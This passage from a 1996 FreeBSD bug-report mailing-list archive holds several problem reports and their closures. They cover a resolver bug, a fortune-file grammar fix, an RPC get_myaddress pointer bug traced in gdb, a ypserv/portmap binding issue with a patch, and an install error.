204.216.27.18: icmp_seq=198 ttl=246 time=831870344954.712 ms 64 bytes from 204.216.27.18: icmp_seq=199 ttl=246 time=831870344974.821 ms 64 bytes from 204.216.27.18: icmp_seq=210 ttl=246 time=10984.584 ms 64 bytes from 204.216.27.18: icmp_seq=211 ttl=246 time=10004.628 ms 64 bytes from 204.216.27.18: icmp_seq=220 ttl=246 time=1507.495 ms 64 bytes from 204.216.27.18: icmp_seq=221 ttl=246 time=544.629 ms >How-To-Repeat: I can probably repeat it using the same setup. >Fix: no idea. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Fri Nov 22 05:59:13 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA19827 for bugs-outgoing; Fri, 22 Nov 1996 05:59:13 -0800 (PST) Received: (from peter@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA19805; Fri, 22 Nov 1996 05:59:10 -0800 (PST) Date: Fri, 22 Nov 1996 05:59:10 -0800 (PST) From: Peter Wemm Message-Id: <199611221359.FAA19805@freefall.freebsd.org> To: nawaz921@cs.uidaho.edu, peter, freebsd-bugs Subject: Re: gnu/2075 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: ldd usage() output doesn't match reality/man page State-Changed-From-To: open-closed State-Changed-By: peter State-Changed-When: Fri Nov 22 05:58:31 PST 1996 State-Changed-Why: Suggested fix applied in rev 1.9 of ldd.c From owner-freebsd-bugs Fri Nov 22 10:20:19 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA08073 for bugs-outgoing; Fri, 22 Nov 1996 10:20:19 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA08065; Fri, 22 Nov 1996 10:20:14 -0800 (PST) Resent-Date: Fri, 22 Nov 1996 10:20:14 -0800 (PST) Resent-Message-Id: <199611221820.KAA08065@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received: (from nobody@localhost)by.freefall.freebsd.org.id.KAA07813;Fri; (8.7.5/8.7.3);, 22 Nov 1996 10:15:15.-0800 (PST) Message-Id: <199611221815.KAA07813@freefall.freebsd.org> Date: Fri, 22 Nov 1996 10:15:15 -0800 (PST) From: mhugo@dataphone.se To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/2083: Resolver in 2.1.6 stable Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2083 >Category: misc >Synopsis: Resolver in 2.1.6 stable >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Nov 22 10:20:07 PST 1996 >Last-Modified: >Originator: Mikael Hugo >Organization: Dataphone >Release: 2.1.6 >Environment: FreeBSD ninja.dataphone.se 2.1.6-RELEASE FreeBSD 2.1.6-RELEASE #0: Fri Nov 22 18 :41:09 MET 1996 m2@ninja.dataphone.se:/usr/src/sys/compile/NINJA i386 >Description: When making world on the sup distribution on 2.1.6, the following occurs: ninja: {9} /sbin/ping nic ping: unknown host nic ninja: {10} nslookup nic Server: nic.dataphone.se Address: 194.23.92.66 Non-authoritative answer: Name: nic.dataphone.se Address: 194.23.92.66 All programs that use gethostbyname seems unable to resolve. nslookup works fine, and adds to the fact. >How-To-Repeat: Happens every time the programs are executed. >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Fri Nov 22 10:51:47 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA09883 for bugs-outgoing; Fri, 22 Nov 1996 10:51:47 -0800 (PST) Received: (from fenner@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA09854; Fri, 22 Nov 1996 10:51:29 -0800 (PST) Date: Fri, 22 Nov 1996 10:51:29 -0800 (PST) From: Bill Fenner Message-Id: <199611221851.KAA09854@freefall.freebsd.org> To: mhugo@dataphone.se, fenner, freebsd-bugs Subject: Re: misc/2083 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: Resolver in 2.1.6 stable State-Changed-From-To: open-closed State-Changed-By: fenner State-Changed-When: Fri Nov 22 10:44:21 PST 1996 State-Changed-Why: Fixed in rev 1.4.4.6 of src/lib/libc/net/gethostbydns.c, just moments ago. Patch attached so you don't have to wait for the sup scan. Index: gethostbydns.c =================================================================== RCS file: /home/ncvs/src/lib/libc/net/gethostbydns.c,v retrieving revision 1.4.4.5 retrieving revision 1.4.4.6 diff -c -r1.4.4.5 -r1.4.4.6 *** gethostbydns.c 1996/11/20 18:36:37 1.4.4.5 --- gethostbydns.c 1996/11/22 18:07:52 1.4.4.6 *************** *** 53,59 **** #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)gethostnamadr.c 8.1 (Berkeley) 6/4/93"; ! static char rcsid[] = "$Id: gethostbydns.c,v 1.4.4.5 1996/11/20 18:36:37 pst Exp $"; #endif /* LIBC_SCCS and not lint */ #include --- 53,59 ---- #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)gethostnamadr.c 8.1 (Berkeley) 6/4/93"; ! static char rcsid[] = "$Id: gethostbydns.c,v 1.4.4.6 1996/11/22 18:07:52 fenner Exp $"; #endif /* LIBC_SCCS and not lint */ #include *************** *** 391,396 **** --- 391,398 ---- h_errno = NETDB_INTERNAL; return (NULL); } + + host.h_length = INT32SZ; /* * if there aren't any dots, it could be a user-level alias. From owner-freebsd-bugs Fri Nov 22 14:10:28 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA20886 for bugs-outgoing; Fri, 22 Nov 1996 14:10:28 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA20860; Fri, 22 Nov 1996 14:10:18 -0800 (PST) Resent-Date: Fri, 22 Nov 1996 14:10:18 -0800 (PST) Resent-Message-Id: <199611222210.OAA20860@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, gurney_j@efn.org Received: from mail.webspan.net (mail.webspan.net [206.154.70.7]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA20664 for ; Fri, 22 Nov 1996 14:08:01 -0800 (PST) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (8.7.5/8.7.3) with ESMTP id RAA02607 for ; Fri, 22 Nov 1996 17:06:22 -0500 (EST) Received: from orion.webspan.net (localhost [127.0.0.1]) by orion.webspan.net (8.7.5/8.7.3) with ESMTP id RAA01308 for ; Fri, 22 Nov 1996 17:06:22 -0500 (EST) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.18]) by mail.webspan.net (8.7.5/8.7.3) with ESMTP id RAA02071 for ; Fri, 22 Nov 1996 17:01:43 -0500 (EST) Received: from nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA20460 for ; Fri, 22 Nov 1996 14:01:22 -0800 (PST) Received: (from jmg@localhost) by nike.efn.org (8.8.3/8.8.3) id OAA16786; Fri, 22 Nov 1996 14:01:51 -0800 (PST) Message-Id: <199611222201.OAA16786@nike.efn.org> Date: Fri, 22 Nov 1996 14:01:51 -0800 (PST) From: John-Mark Gurney Reply-To: gurney_j@efn.org To: FreeBSD-gnats@freefall.FreeBSD.org X-Send-Pr-Version: 3.2 Subject: misc/2085: english grammer wrong in fortune database Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 2085 >Category: misc >Synopsis: english grammer wrong >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Fri Nov 22 14:10:06 PST 1996 >Last-Modified: >Originator: John-Mark Gurney >Organization: Cu Networking >Release: FreeBSD 2.2-960801-SNAP i386 >Environment: n/a >Description: grammer wrong in a fortune >How-To-Repeat: run fortune till you get the proof on how a hourse has an infinate number of legs >Fix: apply this patch: Index: fortunes =================================================================== RCS file: /usr/cvs/src/games/fortune/datfiles/fortunes,v retrieving revision 1.2 diff -c -r1.2 fortunes *** fortunes 1995/12/27 15:30:45 1.2 --- fortunes 1996/11/22 21:54:25 *************** *** 10547,10553 **** (4) But the only number that is both odd and even is infinity. (5) Therefore, horses must have an infinite number of legs. ! Topics is be covered in future issues include proof by: Intimidation Gesticulation (handwaving) "Try it; it works" --- 10547,10553 ---- (4) But the only number that is both odd and even is infinity. (5) Therefore, horses must have an infinite number of legs. ! Topics to be covered in future issues include proof by: Intimidation Gesticulation (handwaving) "Try it; it works" >Audit-Trail: >Unformatted: John-Mark Gurney From owner-freebsd-bugs Fri Nov 22 14:18:41 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA21432 for bugs-outgoing; Fri, 22 Nov 1996 14:18:41 -0800 (PST) Received: (from gpalmer@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA21390; Fri, 22 Nov 1996 14:18:02 -0800 (PST) Date: Fri, 22 Nov 1996 14:18:02 -0800 (PST) From: Gary Palmer Message-Id: <199611222218.OAA21390@freefall.freebsd.org> To: gurney_j@efn.org, gpalmer, freebsd-bugs Subject: Re: misc/2085 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: english grammer wrong State-Changed-From-To: open-closed State-Changed-By: gpalmer State-Changed-When: Fri Nov 22 14:17:00 PST 1996 State-Changed-Why: Fix applied, thanks. Checking in fortunes; /home/ncvs/src/games/fortune/datfiles/fortunes,v <-- fortunes new revision: 1.3; previous revision: 1.2 done From owner-freebsd-bugs Fri Nov 22 14:31:49 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA22240 for bugs-outgoing; Fri, 22 Nov 1996 14:31:49 -0800 (PST) Received: from jack.colorado.edu (jack.Colorado.EDU [128.138.149.29]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA22235 for ; Fri, 22 Nov 1996 14:31:45 -0800 (PST) Received: from jack (localhost [127.0.0.1]) by jack.colorado.edu (8.7.6/8.7.3/CNS-4.0p) with SMTP id PAA24878; Fri, 22 Nov 1996 15:31:09 -0700 (MST) Message-ID: <329629AD.5A4E@Colorado.EDU> Date: Fri, 22 Nov 1996 15:31:09 -0700 From: "Mark O'Lear" Organization: University of Colorado X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m) MIME-Version: 1.0 To: mhugo@dataphone.se CC: freebsd-bugs@freebsd.org Subject: Re: misc/2083: Resolver in 2.1.6 stable References: <199611221815.KAA07813@freefall.freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk mhugo@dataphone.se wrote: > > >Number: 2083 > >Category: misc > >Synopsis: Resolver in 2.1.6 stable ... > >Release: 2.1.6 > >Environment: > FreeBSD ninja.dataphone.se 2.1.6-RELEASE FreeBSD 2.1.6-RELEASE #0: Fri Nov 22 18 > :41:09 MET 1996 m2@ninja.dataphone.se:/usr/src/sys/compile/NINJA i386 > >Description: > When making world on the sup distribution on 2.1.6, the following occurs: > > ninja: {9} /sbin/ping nic > ping: unknown host nic > ninja: {10} nslookup nic > Server: nic.dataphone.se > Address: 194.23.92.66 > > Non-authoritative answer: > Name: nic.dataphone.se > Address: 194.23.92.66 > > All programs that use gethostbyname seems unable to resolve. > > nslookup works fine, and adds to the fact. > ... It sounds like you've commented out the line that says 'bind' in your /etc/host.conf file. The file (/etc/host.conf) also has to be world readable. Programs using gethostbyname need to have the line 'bind' in the host.conf file in order to do DNS lookups. nslookup is by default a name server lookup (DNS), so it uses bind no matter what's listed in the host.conf file. -- Mark O'Lear \ e-mail: Mark.Olear@Colorado.EDU University of Colorado \ phone: (303) 492-3798 Telecomm. Svcs. (CB 313) \ fax: (303) 492-5105 Boulder, CO 80309 \ From owner-freebsd-bugs Fri Nov 22 15:00:17 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA23932 for bugs-outgoing; Fri, 22 Nov 1996 15:00:17 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA23911; Fri, 22 Nov 1996 15:00:12 -0800 (PST) Resent-Date: Fri, 22 Nov 1996 15:00:12 -0800 (PST) Resent-Message-Id: <199611222300.PAA23911@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, pst@jnx.com Received: from red.jnx.com (red.jnx.com [208.197.169.254]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA23819 for ; Fri, 22 Nov 1996 14:59:14 -0800 (PST) Received: from base.jnx.com (base.jnx.com [208.197.169.238]) by red.jnx.com (8.8.3/8.8.3) with ESMTP id OAA24137 for ; Fri, 22 Nov 1996 14:58:43 -0800 (PST) Received: (from pst@localhost) by base.jnx.com (8.7.6/8.7.3) id OAA08637; Fri, 22 Nov 1996 14:58:31 -0800 (PST) Message-Id: <199611222258.OAA08637@base.jnx.com> Date: Fri, 22 Nov 1996 14:58:31 -0800 (PST) From: Paul Traina Reply-To: pst@jnx.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2086: libc/rpc get_myaddress() broken Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2086 >Category: bin >Synopsis: libc/rpc get_myaddress() broken >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Nov 22 15:00:05 PST 1996 >Last-Modified: >Originator: Paul Traina >Organization: Juniper Networks >Release: FreeBSD 2.2-CURRENT i386 >Environment: -current as of this week -- but probably all freebsd 2.x versions The first interface on the box has not been configured with an IP address. # ifconfig -a de0: flags=8c43 mtu 1500 ether 00:00:c0:f1:69:db ed0: flags=8843 mtu 1500 inet 208.197.169.20 netmask 0xffffff00 broadcast 208.197.169.255 ether 00:c0:26:35:04:9a ed1: flags=8843 mtu 1500 ether 00:c0:26:35:04:a7 ed2: flags=8843 mtu 1500 ether 00:c0:26:35:07:c4 lp0: flags=8810 mtu 1500 tun0: flags=8010 mtu 1500 sl0: flags=c010 mtu 552 lo0: flags=8049 mtu 16384 inet 127.0.0.1 netmask 0xff000000 ds0: flags=8008 mtu 65532 >Description: get_myaddress appears to have some bogus pointer math that was added to support variable length addresses on interfaces. It doesn't work. # gdb amd (gdb) run -a /.amd -c 1800 -k i386 -l syslog /vol /etc/auto.vols Starting program: /tmp/amd -a /.amd -c 1800 -k i386 -l syslog /vol /etc/auto.vols Breakpoint 1, get_myaddress (addr=0xefbfdcd0) at get_myaddress.c:66 66 if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { (gdb) n 70 ifc.ifc_len = sizeof (buf); (gdb) n 71 ifc.ifc_buf = buf; (gdb) n 72 if (ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) { (gdb) n 76 ifr = ifc.ifc_req; (gdb) print *ifc Attempt to take contents of a non-pointer value. (gdb) print ifc $1 = {ifc_len = 484, ifc_ifcu = {ifcu_buf = 0xefbfd8a8 "de0", ifcu_req = 0xefbfd8a8}} (gdb) print buf $2 = "de0\000H~?oD\002\023pXXqp\024\022\001\000\006\003\006\000de0\000\000@qi[\000\000\000de0\000H~?oD\002\023pXXqp", '\000' , "ed0\000H~?oD\002\023pXXqp\024\022\002\000\006\003\006\000ed0\000@&5\004\232\000\000\000ed0\000H~?oD\002\023pXXqp\020\002\000\000PE)\024\000\000\000\000\000\000\000\000ed1\000H~?oD\002\023pXXqp\024\022\003\000\006\003\006\000ed1\000@&5\004'\000\000\000ed1\000H~?oD\002\023pXXqp", '\000' , "ed2\000H~?o"... (gdb) n 77 for (len = ifc.ifc_len; len; len -= sizeof ifreq) { (gdb) print sizeof(ifreq) $3 = 32 (gdb) n 78 ifreq = *ifr; (gdb) n 79 if (ioctl(s, SIOCGIFFLAGS, (char *)&ifreq) < 0) { (gdb) print ifreq $4 = {ifr_name = "de0\000H~?oD\002\023pXXqp", ifr_ifru = {ifru_addr = { sa_len = 20 '\024', sa_family = 18 '\022', sa_data = "\001\000\006\003\006\000de0\000\000@qi"}, ifru_dstaddr = { sa_len = 20 '\024', sa_family = 18 '\022', sa_data = "\001\000\006\003\006\000de0\000\000@qi"}, ifru_broadaddr = { sa_len = 20 '\024', sa_family = 18 '\022', sa_data = "\001\000\006\003\006\000de0\000\000@qi"}, ifru_flags = 4628, ifru_metric = 70164, ifru_mtu = 70164, ifru_phys = 70164, ifru_data = 0x11214 "dir_2"}} (gdb) n 83 if ((ifreq.ifr_flags & IFF_UP) && (gdb) n 92 slop = ifr->ifr_addr.sa_len - sizeof (struct sockaddr); (gdb) list 87 break; 88 } 89 /* 90 * Deal with variable length addresses 91 */ 92 slop = ifr->ifr_addr.sa_len - sizeof (struct sockaddr); 93 if (slop) { 94 ifr = (struct ifreq *) ((caddr_t)ifr + slop); 95 len -= slop; 96 } (gdb) n 93 if (slop) { (gdb) print slop $5 = 4 (gdb) n 94 ifr = (struct ifreq *) ((caddr_t)ifr + slop); (gdb) n 95 len -= slop; (gdb) n 97 ifr++; (gdb) n 77 for (len = ifc.ifc_len; len; len -= sizeof ifreq) { (gdb) n 78 ifreq = *ifr; (gdb) n 79 if (ioctl(s, SIOCGIFFLAGS, (char *)&ifreq) < 0) { (gdb) print ifreq Whoops: this should be pointing at the next interface in the list! $6 = {ifr_name = "de0\000H~?oD\002\023pXXqp", ifr_ifru = {ifru_addr = { sa_len = 0 '\000', sa_family = 0 '\000', sa_data = '\000' }, ifru_dstaddr = {sa_len = 0 '\000', sa_family = 0 '\000', sa_data = '\000' }, ifru_broadaddr = {sa_len = 0 '\000', sa_family = 0 '\000', sa_data = '\000' }, ifru_flags = 0, ifru_metric = 0, ifru_mtu = 0, ifru_phys = 0, ifru_data = 0x0}} (gdb) print ifr $7 = (struct ifreq *) 0xefbfd8cc (gdb) print *ifr $8 = {ifr_name = "de0\000H~?oD\002\023pXXqp", ifr_ifru = {ifru_addr = { sa_len = 0 '\000', sa_family = 0 '\000', sa_data = '\000' }, ifru_dstaddr = {sa_len = 0 '\000', sa_family = 0 '\000', sa_data = '\000' }, ifru_broadaddr = {sa_len = 0 '\000', sa_family = 0 '\000', sa_data = '\000' }, ifru_flags = 0, ifru_metric = 0, ifru_mtu = 0, ifru_phys = 0, ifru_data = 0x0}} (gdb) n 83 if ((ifreq.ifr_flags & IFF_UP) && (gdb) n 92 slop = ifr->ifr_addr.sa_len - sizeof (struct sockaddr); (gdb) n 93 if (slop) { (gdb) n 94 ifr = (struct ifreq *) ((caddr_t)ifr + slop); (gdb) n 95 len -= slop; (gdb) n 97 ifr++; (gdb) n 77 for (len = ifc.ifc_len; len; len -= sizeof ifreq) { The following is totally corrupt... (gdb) print *ifr $9 = {ifr_name = '\000' , ifr_ifru = {ifru_addr = { sa_len = 101 'e', sa_family = 100 'd', sa_data = "0\000H~?oD\002\023pXXqp"}, ifru_dstaddr = {sa_len = 101 'e', sa_family = 100 'd', sa_data = "0\000H~?oD\002\023pXXqp"}, ifru_broadaddr = {sa_len = 101 'e', sa_family = 100 'd', sa_data = "0\000H~?oD\002\023pXXqp"}, ifru_flags = 25701, ifru_metric = 3171429, ifru_mtu = 3171429, ifru_phys = 3171429, ifru_data = 0x306465 }} (gdb) n 78 ifreq = *ifr; (gdb) n 79 if (ioctl(s, SIOCGIFFLAGS, (char *)&ifreq) < 0) { (gdb) print ifreq $10 = {ifr_name = '\000' , ifr_ifru = {ifru_addr = { sa_len = 101 'e', sa_family = 100 'd', sa_data = "0\000H~?oD\002\023pXXqp"}, ifru_dstaddr = {sa_len = 101 'e', sa_family = 100 'd', sa_data = "0\000H~?oD\002\023pXXqp"}, ifru_broadaddr = {sa_len = 101 'e', sa_family = 100 'd', sa_data = "0\000H~?oD\002\023pXXqp"}, ifru_flags = 25701, ifru_metric = 3171429, ifru_mtu = 3171429, ifru_phys = 3171429, ifru_data = 0x306465 }} (gdb) n 80 perror("get_myaddress: ioctl"); (gdb) quit >How-To-Repeat: call get_myaddress on a box with multiple interface, the first one in ifconfig -a should NOT be a valid up IP interface >Fix: I haven't tried to fix the slop math yet... unfortunately I probably won't be able to get to it for some time (sigh). >Audit-Trail: >Unformatted: From owner-freebsd-bugs Fri Nov 22 15:39:47 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA27549 for bugs-outgoing; Fri, 22 Nov 1996 15:39:47 -0800 (PST) Received: (from pst@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA27501; Fri, 22 Nov 1996 15:39:06 -0800 (PST) Date: Fri, 22 Nov 1996 15:39:06 -0800 (PST) From: Paul Traina Message-Id: <199611222339.PAA27501@freefall.freebsd.org> To: pst@jnx.com, pst, freebsd-bugs Subject: Re: bin/2086 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: libc/rpc get_myaddress() broken State-Changed-From-To: open-closed State-Changed-By: pst State-Changed-When: Fri Nov 22 15:37:26 PST 1996 State-Changed-Why: I just fixed this in -current libc_rpc/get_myaddress.c From owner-freebsd-bugs Fri Nov 22 20:40:22 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA08563 for bugs-outgoing; Fri, 22 Nov 1996 20:40:22 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA08540; Fri, 22 Nov 1996 20:40:17 -0800 (PST) Resent-Date: Fri, 22 Nov 1996 20:40:17 -0800 (PST) Resent-Message-Id: <199611230440.UAA08540@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Tor.Egge@idt.ntnu.no Received: from pat.idt.unit.no (pat.idt.unit.no [129.241.103.5]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA08292 for ; Fri, 22 Nov 1996 20:31:40 -0800 (PST) Received: from ikke.idt.unit.no (ikke.idt.unit.no [129.241.111.65]) by pat.idt.unit.no (8.7.5/8.7.3) with ESMTP id FAA28191 for ; Sat, 23 Nov 1996 05:31:36 +0100 (MET) Received: (from tegge@localhost) by ikke.idt.unit.no (8.8.3/8.7.3) id FAA16781; Sat, 23 Nov 1996 05:31:36 +0100 (MET) Message-Id: <199611230431.FAA16781@ikke.idt.unit.no> Date: Sat, 23 Nov 1996 05:31:36 +0100 (MET) From: Tor Egge Reply-To: Tor.Egge@idt.ntnu.no To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2090: clients may bind to FreeBSD ypserv refusing to serve them Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2090 >Category: bin >Synopsis: clients may bind to FreeBSD ypserv refusing to serve them >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Nov 22 20:40:09 PST 1996 >Last-Modified: >Originator: Tor Egge >Organization: Norwegian University of Science and Technology, Trondheim, Norway >Release: FreeBSD 3.0-CURRENT i386 >Environment: FreeBSD ikke.idt.unit.no 3.0-CURRENT FreeBSD 3.0-CURRENT #0: Wed Nov 20 18:14:02 MET 1996 root@ikke.idt.unit.no:/usr/src/sys-UP/compile/TEGGE i386 >Description: NetBSD/FreeBSD/SunOS 4 machines uses broadcast via portmapper to find an yp server that serves the relevant domain. Since the request is forwarded by the local portmapper on the FreeBSD machine, the securenets mechanism is inactive, and an positive acknowledge is sent back to the client via the portmapper. The client may be bound to an yp server that refuses to handle requests from the client. >How-To-Repeat: Have a FreeBSD machine that runs a local ypserv due to performance reasons. Configure ypserv to run without DNS forwarding, since it is expensive (fork()). Configure it to only serve local host, to avoid SunOS 4 machines needing DNS forwarding binding to it. Observe that nearby NetBSD/FreeBSD/SunOS 4 machines may bind to the FreeBSD machine, causing problems (e.g. users not being able to login). >Fix: Real Fix: - Add code to portmap that performs the needed securenets checking, without logging if the request came from the local subnet. - Don't use a privileged port when forwarding a query. - Don't fork for each forward. It is expensive in an environment with many yp clients present. Use async rpc handling instead. - Don't let the ypserv process fork for gethostbyname() lookups. Use async dns lookups instead. Quick Workaround (which may cause some irrelevant log messages): Index: Makefile =================================================================== RCS file: /export/akg1/cvs/src/usr.sbin/portmap/Makefile,v retrieving revision 1.4 diff -c -r1.4 Makefile *** Makefile 1994/09/29 09:36:16 1.4 --- Makefile 1996/11/23 03:47:43 *************** *** 2,11 **** PROG= portmap MAN8= portmap.8 ! SRCS= portmap.c from_local.c pmap_check.c SUBDIR= pmap_set pmap_dump # -DHOSTS_ACCESS (requires tcpwrapper libraries) ! CFLAGS+=-DCHECK_PORT .include --- 2,12 ---- PROG= portmap MAN8= portmap.8 ! SRCS= portmap.c from_local.c pmap_check.c yp_access.c yp_error.c SUBDIR= pmap_set pmap_dump + .PATH: ${.CURDIR}/../ypserv # -DHOSTS_ACCESS (requires tcpwrapper libraries) ! CFLAGS+=-DCHECK_PORT -I${.CURDIR}/../ypserv .include Index: portmap.c =================================================================== RCS file: /export/akg1/cvs/src/usr.sbin/portmap/portmap.c,v retrieving revision 1.4 diff -c -r1.4 portmap.c *** portmap.c 1996/02/05 15:35:41 1.4 --- portmap.c 1996/11/23 04:01:09 *************** *** 95,100 **** --- 95,101 ---- #include #include "pmap_check.h" + #include "yp_extern.h" void reg_service(); void reap(); *************** *** 103,108 **** --- 104,114 ---- int debugging = 0; extern int errno; + char *yp_dir = _PATH_YP; + int debug = 0; + char *progname = "portmap"; + int _rpcpmstart; /* Started by a port monitor ? */ + main(argc, argv) int argc; char **argv; *************** *** 113,136 **** int len = sizeof(struct sockaddr_in); register struct pmaplist *pml; ! while ((c = getopt(argc, argv, "dv")) != EOF) { switch (c) { case 'd': debugging = 1; break; case 'v': verboselog = 1; break; default: ! (void) fprintf(stderr, "usage: %s [-dv]\n", argv[0]); (void) fprintf(stderr, "-d: debugging mode\n"); (void) fprintf(stderr, "-v: verbose logging\n"); exit(1); } } if (!debugging && daemon(0, 0)) { (void) fprintf(stderr, "portmap: fork: %s", strerror(errno)); --- 119,148 ---- int len = sizeof(struct sockaddr_in); register struct pmaplist *pml; ! while ((c = getopt(argc, argv, "dvp:")) != EOF) { switch (c) { case 'd': debugging = 1; + debug = 1; break; case 'v': verboselog = 1; break; + case 'p': + yp_dir = optarg; + break; default: ! (void) fprintf(stderr, "usage: %s [-dv] [-p path]\n", argv[0]); (void) fprintf(stderr, "-d: debugging mode\n"); (void) fprintf(stderr, "-v: verbose logging\n"); + (void) fprintf(stderr, "-p: specify NIS directory\n"); exit(1); } } + load_securenets(); if (!debugging && daemon(0, 0)) { (void) fprintf(stderr, "portmap: fork: %s", strerror(errno)); *************** *** 524,529 **** --- 536,546 ---- return (xdr_opaque_parms(xdrs, cap)); } + /* Explicit #defines in case the include files are not available. */ + + #define YPPROG ((u_long) 100004) + #define YPPROC_DOMAIN_NONACK ((u_long) 2) + /* * Call a remote procedure service * This procedure is very quiet when things go wrong. *************** *** 558,563 **** --- 575,588 ---- if (!check_callit(svc_getcaller(xprt), rqstp->rq_proc, a.rmt_prog, a.rmt_proc)) return; + + /* Avoid lying to naive ypbind implementations */ + if (a.rmt_prog==YPPROG && a.rmt_proc == YPPROC_DOMAIN_NONACK && + yp_access(NULL, (struct svc_req *)rqstp)) { + return; + } + + if ((pml = find_service(a.rmt_prog, a.rmt_vers, (u_long)IPPROTO_UDP)) == NULL) return; >Audit-Trail: >Unformatted: From owner-freebsd-bugs Fri Nov 22 21:30:24 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA10379 for bugs-outgoing; Fri, 22 Nov 1996 21:30:24 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA10371; Fri, 22 Nov 1996 21:30:19 -0800 (PST) Resent-Date: Fri, 22 Nov 1996 21:30:19 -0800 (PST) Resent-Message-Id: <199611230530.VAA10371@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received: (from nobody@localhost)by.freefall.freebsd.org.id.VAA10177;Fri; (8.7.5/8.7.3);, 22 Nov 1996 21:24:12.-0800 (PST) Message-Id: <199611230524.VAA10177@freefall.freebsd.org> Date: Fri, 22 Nov 1996 21:24:12 -0800 (PST) From: paprwise@sprynet.com To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: conf/2091: transfer error bytes -1 to 1024 on install Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2091 >Category: conf >Synopsis: transfer error bytes -1 to 1024 on install >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: support >Submitter-Id: current-users >Arrival-Date: Fri Nov 22 21:30:09 PST 1996 >Last-Modified: >Originator: peter paprota >Organization: >Release: 2.1.5 >Environment: cyrex p150 1.2 GB IDEE disk 32 MB memory >Description: on install of BSD get error on transfer of data tried CDROM 